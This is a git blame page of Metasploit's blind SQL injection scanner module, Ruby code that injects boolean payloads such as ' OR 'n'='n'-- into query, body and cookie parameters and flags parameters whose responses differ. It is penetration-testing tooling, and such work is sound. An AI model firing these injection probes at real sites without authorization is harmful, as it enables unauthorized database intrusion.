Files
metasploit-gs/modules/auxiliary/scanner/http/blind_sql_query.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

473 lines
14 KiB
Ruby
Raw Normal View History

2009-12-30 22:24:22 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2009-12-30 22:24:22 +00:00
##
2021-01-28 10:35:25 +00:00
2009-12-30 22:24:22 +00:00
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Auxiliary
2009-12-30 22:24:22 +00:00
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::WmapScanUniqueQuery
2009-12-30 22:24:22 +00:00
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
def initialize(info = {})
super(update_info(info,
2012-02-17 21:52:03 -06:00
'Name' => 'HTTP Blind SQL Injection Scanner',
2009-12-30 22:24:22 +00:00
'Description' => %q{
This module identifies the existence of Blind SQL injection issues
2012-02-17 22:36:33 -06:00
in GET/POST Query parameters values.
2009-12-30 22:24:22 +00:00
},
'Author' => [ 'et [at] cyberspace.org' ],
2013-01-03 01:05:45 +01:00
'License' => BSD_LICENSE))
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
register_options(
[
2012-02-17 22:36:33 -06:00
OptEnum.new('METHOD', [true, 'HTTP Method', 'GET', ['GET', 'POST'] ]),
2009-12-30 22:24:22 +00:00
OptString.new('PATH', [ true, "The path/file to test SQL injection", '/index.asp']),
OptString.new('QUERY', [ false, "HTTP URI Query", '']),
OptString.new('DATA', [ false, "HTTP Body Data", '']),
OptString.new('COOKIE',[ false, "HTTP Cookies", ''])
])
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
end
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
def run_host(ip)
# Force http verb to be upper-case, because otherwise some web servers such as
# Apache might throw you a 501
http_method = datastore['METHOD'].upcase
2013-08-30 16:28:54 -05:00
gvars = Hash.new()
pvars = Hash.new()
cvars = Hash.new()
2013-08-30 16:28:54 -05:00
rnum=rand(10000)
2013-08-30 16:28:54 -05:00
2012-02-22 22:18:39 -06:00
inivalstr = [
[ 'numeric',
2009-12-30 22:24:22 +00:00
" AND #{rnum}=#{rnum} ",
" AND #{rnum}=#{rnum+1} "
],
[ 'single quotes',
2009-12-30 22:24:22 +00:00
"' AND '#{rnum}'='#{rnum}",
"' AND '#{rnum}'='#{rnum+1}"
],
[ 'double quotes',
2009-12-30 22:24:22 +00:00
"\" AND \"#{rnum}\"=\"#{rnum}",
"\" AND \"#{rnum}\"=\"#{rnum+1}"
2012-02-22 19:24:52 -06:00
],
[ 'OR single quotes uncommented',
"' OR '#{rnum}'='#{rnum}",
"' OR '#{rnum}'='#{rnum+1}"
],
[ 'OR single quotes closed and commented',
"' OR '#{rnum}'='#{rnum}'--",
"' OR '#{rnum}'='#{rnum+1}'--"
],
[ 'hex encoded OR single quotes uncommented',
"'%20OR%20'#{rnum}'%3D'#{rnum}",
"'%20OR%20'#{rnum}'%3D'#{rnum+1}"
],
[ 'hex encoded OR single quotes closed and commented',
"'%20OR%20'#{rnum}'%3D'#{rnum}'--",
"'%20OR%20'#{rnum}'%3D'#{rnum+1}'--"
2009-12-30 22:24:22 +00:00
]
]
2013-08-30 16:28:54 -05:00
2012-02-22 22:18:39 -06:00
# Creating strings with true and false values
valstr = []
inivalstr.each do |vstr|
# With true values
valstr << vstr
2012-06-06 00:36:17 -05:00
# With false values, appending 'x' to real value
2012-02-22 22:18:39 -06:00
valstr << ['False char '+vstr[0],'x'+vstr[1],'x'+vstr[2]]
2012-06-06 00:36:17 -05:00
# With false values, appending '0' to real value
2012-02-22 22:18:39 -06:00
valstr << ['False num '+vstr[0],'0'+vstr[1],'0'+vstr[2]]
end
2013-08-30 16:28:54 -05:00
2012-02-22 22:18:39 -06:00
#valstr.each do |v|
# print_status("#{v[0]}")
# print_status("#{v[1]}")
# print_status("#{v[2]}")
#end
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
#
# Dealing with empty query/data and making them hashes.
#
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
if !datastore['QUERY'] or datastore['QUERY'].empty?
datastore['QUERY'] = nil
gvars = nil
else
gvars = queryparse(datastore['QUERY']) #Now its a Hash
end
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
if !datastore['DATA'] or datastore['DATA'].empty?
datastore['DATA'] = nil
pvars = nil
else
pvars = queryparse(datastore['DATA'])
end
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
if !datastore['COOKIE'] or datastore['COOKIE'].empty?
datastore['COOKIE'] = nil
cvars = nil
else
cvars = queryparse(datastore['COOKIE'])
end
2013-08-30 16:28:54 -05:00
2012-02-22 22:18:39 -06:00
verifynr=2
2013-08-30 16:28:54 -05:00
2012-02-22 22:18:39 -06:00
i=0
k=0
c=0
2013-08-30 16:28:54 -05:00
2012-02-22 22:18:39 -06:00
normalres = nil
2013-08-30 16:28:54 -05:00
2012-02-22 22:18:39 -06:00
verifynr.times do |j|
#SEND NORMAL REQUEST
2012-02-22 22:18:39 -06:00
begin
normalres = send_request_cgi({
2012-11-08 17:42:48 +01:00
'uri' => normalize_uri(datastore['PATH']),
2012-02-22 22:18:39 -06:00
'vars_get' => gvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => datastore['DATA']
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
2013-08-30 16:28:54 -05:00
2012-02-22 22:18:39 -06:00
if not normalres
print_error("No response")
return
else
if i==0
k = normalres.body.length
c = normalres.code.to_i
else
if k != normalres.body.length
print_error("Normal response body vary")
2012-03-18 00:07:27 -05:00
return
2012-02-22 22:18:39 -06:00
end
if c != normalres.code.to_i
print_error("Normal response code vary")
2012-03-18 00:07:27 -05:00
return
2012-02-22 22:18:39 -06:00
end
end
end
2009-12-30 22:24:22 +00:00
end
2013-08-30 16:28:54 -05:00
2012-02-22 22:18:39 -06:00
print_status("[Normal response body: #{k} code: #{c}]")
2013-08-30 16:28:54 -05:00
2012-03-18 00:07:27 -05:00
pinj = false
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
valstr.each do |tarr|
#QUERY
if gvars
gvars.each do |key,value|
2012-02-22 22:18:39 -06:00
vprint_status("- Testing '#{tarr[0]}' Parameter #{key}:")
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
#SEND TRUE REQUEST
testgvars = queryparse(datastore['QUERY']) #Now its a Hash
testgvars[key] = testgvars[key]+tarr[1]
2012-02-22 22:18:39 -06:00
t = testgvars[key]
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
begin
trueres = send_request_cgi({
2012-11-08 17:42:48 +01:00
'uri' => normalize_uri(datastore['PATH']),
2012-02-22 19:24:52 -06:00
'vars_get' => testgvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => datastore['DATA']
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
#SEND FALSE REQUEST
testgvars = queryparse(datastore['QUERY']) #Now its a Hash
testgvars[key] = testgvars[key]+tarr[2]
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
begin
falseres = send_request_cgi({
2012-11-08 17:42:48 +01:00
'uri' => normalize_uri(datastore['PATH']),
2012-02-22 19:24:52 -06:00
'vars_get' => testgvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => datastore['DATA']
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
2012-03-18 00:07:27 -05:00
end
2013-08-30 16:28:54 -05:00
pinja = false
pinjb = false
pinjc = false
pinjd = false
2013-08-30 16:28:54 -05:00
pinja = detection_a(normalres,trueres,falseres,tarr)
pinjb = detection_b(normalres,trueres,falseres,tarr)
pinjc = detection_c(normalres,trueres,falseres,tarr)
pinjd = detection_d(normalres,trueres,falseres,tarr)
2013-08-30 16:28:54 -05:00
if pinja or pinjb or pinjc or pinjd
print_good("Possible #{tarr[0]} Blind SQL Injection Found #{datastore['PATH']} #{key}")
print_good("[#{t}]")
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
report_web_vuln(
:host => ip,
:port => rport,
:vhost => vhost,
:ssl => ssl,
2012-11-08 17:42:48 +01:00
:path => normalize_uri(datastore['PATH']),
2012-02-22 19:24:52 -06:00
:method => http_method,
:pname => key,
2012-02-22 19:24:52 -06:00
:proof => "blind sql inj.",
:risk => 2,
:confidence => 50,
:category => 'SQL injection',
:description => "Blind sql injection of type #{tarr[0]} in param #{key}",
:name => 'Blind SQL injection'
)
else
vprint_status("NOT Vulnerable #{datastore['PATH']} parameter #{key}")
2009-12-30 22:24:22 +00:00
end
end
end
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
#DATA
if pvars
pvars.each do |key,value|
2012-02-22 19:24:52 -06:00
print_status("- Testing '#{tarr[0]}' Parameter #{key}:")
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
#SEND TRUE REQUEST
testpvars = queryparse(datastore['DATA']) #Now its a Hash
testpvars[key] = testpvars[key]+tarr[1]
2012-02-22 22:18:39 -06:00
t = testpvars[key]
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
pvarstr = ""
testpvars.each do |tkey,tvalue|
if pvarstr
pvarstr << '&'
end
pvarstr << tkey+'='+tvalue
2009-12-30 22:24:22 +00:00
end
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
begin
trueres = send_request_cgi({
2012-11-08 17:42:48 +01:00
'uri' => normalize_uri(datastore['PATH']),
2012-02-22 19:24:52 -06:00
'vars_get' => gvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => pvarstr
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
#SEND FALSE REQUEST
testpvars = queryparse(datastore['DATA']) #Now its a Hash
testpvars[key] = testpvars[key]+tarr[2]
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
pvarstr = ""
testpvars.each do |tkey,tvalue|
if pvarstr
pvarstr << '&'
end
2012-02-22 19:24:52 -06:00
pvarstr << tkey+'='+tvalue
end
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
begin
falseres = send_request_cgi({
2012-11-08 17:42:48 +01:00
'uri' => normalize_uri(datastore['PATH']),
2012-02-22 19:24:52 -06:00
'vars_get' => gvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => pvarstr
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
2012-06-06 00:44:38 -05:00
end
2013-08-30 16:28:54 -05:00
pinja = false
pinjb = false
pinjc = false
pinjd = false
2013-08-30 16:28:54 -05:00
pinja = detection_a(normalres,trueres,falseres,tarr)
pinjb = detection_b(normalres,trueres,falseres,tarr)
pinjc = detection_c(normalres,trueres,falseres,tarr)
pinjd = detection_d(normalres,trueres,falseres,tarr)
2013-08-30 16:28:54 -05:00
if pinja or pinjb or pinjc or pinjd
print_good("Possible #{tarr[0]} Blind SQL Injection Found #{datastore['PATH']} #{key}")
print_good("[#{t}]")
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
report_web_vuln(
:host => ip,
:port => rport,
:vhost => vhost,
:ssl => ssl,
:path => datastore['PATH'],
2012-02-22 19:24:52 -06:00
:method => http_method,
:pname => key,
2012-02-22 19:24:52 -06:00
:proof => "blind sql inj.",
:risk => 2,
:confidence => 50,
:category => 'SQL injection',
:description => "Blind sql injection of type #{tarr[0]} in param #{key}",
:name => 'Blind SQL injection'
)
2009-12-30 22:24:22 +00:00
else
2012-02-22 19:24:52 -06:00
vprint_status("NOT Vulnerable #{datastore['PATH']} parameter #{key}")
end
end
end
end
end
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
def detection_a(normalr,truer,falser,tarr)
# print_status("A")
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
# DETECTION A
2024-01-07 15:02:53 -05:00
# Very simple way to compare responses, this can be improved a lot , at this time just the simple way
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
if normalr and truer
2024-01-07 15:02:53 -05:00
#Very simple way to compare responses, this can be improved a lot , at this time just the simple way
2012-02-22 19:24:52 -06:00
reltruesize = truer.body.length-(truer.body.scan(/#{tarr[1]}/).length*tarr[1].length)
normalsize = normalr.body.length
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
#print_status("normalsize #{normalsize} truesize #{reltruesize}")
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
if reltruesize == normalsize
if falser
relfalsesize = falser.body.length-(falser.body.scan(/#{tarr[2]}/).length*tarr[2].length)
2013-08-30 16:28:54 -05:00
2012-03-18 00:07:27 -05:00
#print_status("falsesize #{relfalsesize}")
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
if reltruesize > relfalsesize
print_status("Detected by test A")
2012-02-22 19:24:52 -06:00
return true
else
return false
2009-12-30 22:24:22 +00:00
end
else
2012-02-22 22:18:39 -06:00
vprint_status("NO False Response.")
2012-02-22 19:24:52 -06:00
end
else
2012-02-22 22:18:39 -06:00
vprint_status("Normal and True requests are different.")
2012-02-22 19:24:52 -06:00
end
else
print_status("No response.")
end
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
return false
end
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
def detection_b(normalr,truer,falser,tarr)
# print_status("B")
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
# DETECTION B
# Variance on res body
2013-08-30 16:28:54 -05:00
2012-03-18 00:07:27 -05:00
if normalr and truer
2012-02-22 19:24:52 -06:00
if falser
#print_status("N: #{normalr.body.length} T: #{truer.body.length} F: #{falser.body.length} T1: #{tarr[1].length} F2: #{tarr[2].length} #{tarr[1].length+tarr[2].length}")
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
if (truer.body.length-tarr[1].length) != normalr.body.length and (falser.body.length-tarr[2].length) == normalr.body.length
print_status("Detected by test B")
2012-02-22 19:24:52 -06:00
return true
end
if (truer.body.length-tarr[1].length) == normalr.body.length and (falser.body.length-tarr[2].length) != normalr.body.length
print_status("Detected by test B")
2012-02-22 19:24:52 -06:00
return true
2009-12-30 22:24:22 +00:00
end
end
2012-02-22 19:24:52 -06:00
end
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
return false
end
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
def detection_c(normalr,truer,falser,tarr)
# print_status("C")
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
# DETECTION C
# Variance on res code of true or false statements
2013-08-30 16:28:54 -05:00
2012-03-18 00:07:27 -05:00
if normalr and truer
2012-02-22 19:24:52 -06:00
if falser
if truer.code.to_i != normalr.code.to_i and falser.code.to_i == normalr.code.to_i
print_status("Detected by test C")
2012-02-22 19:24:52 -06:00
return true
end
if truer.code.to_i == normalr.code.to_i and falser.code.to_i != normalr.code.to_i
print_status("Detected by test C")
return true
end
end
end
2013-08-30 16:28:54 -05:00
return false
end
2013-08-30 16:28:54 -05:00
def detection_d(normalr,truer,falser,tarr)
# print_status("D")
2013-08-30 16:28:54 -05:00
# DETECTION D
# Variance PERCENTAGE MIN MAX on res body
2013-08-30 16:28:54 -05:00
# 2% 50%
2012-03-18 00:07:27 -05:00
max_diff_perc = 2
2012-08-07 15:59:01 -05:00
min_diff_perc = 50
2013-08-30 16:28:54 -05:00
2012-03-18 00:07:27 -05:00
if normalr and truer
if falser
nl= normalr.body.length
tl= truer.body.length
fl= falser.body.length
2013-08-30 16:28:54 -05:00
2012-02-23 15:45:51 -06:00
if nl == 0
nl = 1
end
if tl == 0
tl = 1
end
if fl == 0
fl = 1
end
2013-08-30 16:28:54 -05:00
ntmax = [ nl,tl ].max
ntmin = [ nl,tl ].min
diff_nt_perc = ((ntmax - ntmin)*100)/(ntmax)
2012-03-18 00:07:27 -05:00
diff_nt_f_perc = ((ntmax - fl)*100)/(ntmax)
2013-08-30 16:28:54 -05:00
if diff_nt_perc <= max_diff_perc and diff_nt_f_perc > min_diff_perc
print_status("Detected by test D")
return true
end
2013-08-30 16:28:54 -05:00
nfmax = [ nl,fl ].max
nfmin = [ nl,fl ].min
diff_nf_perc = ((nfmax - nfmin)*100)/(nfmax)
diff_nf_t_perc = ((nfmax - tl)*100)/(nfmax)
2013-08-30 16:28:54 -05:00
if diff_nf_perc <= max_diff_perc and diff_nf_t_perc > min_diff_perc
print_status("Detected by test D")
2012-02-22 19:24:52 -06:00
return true
end
end
end
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
return false
2009-12-30 22:24:22 +00:00
end
end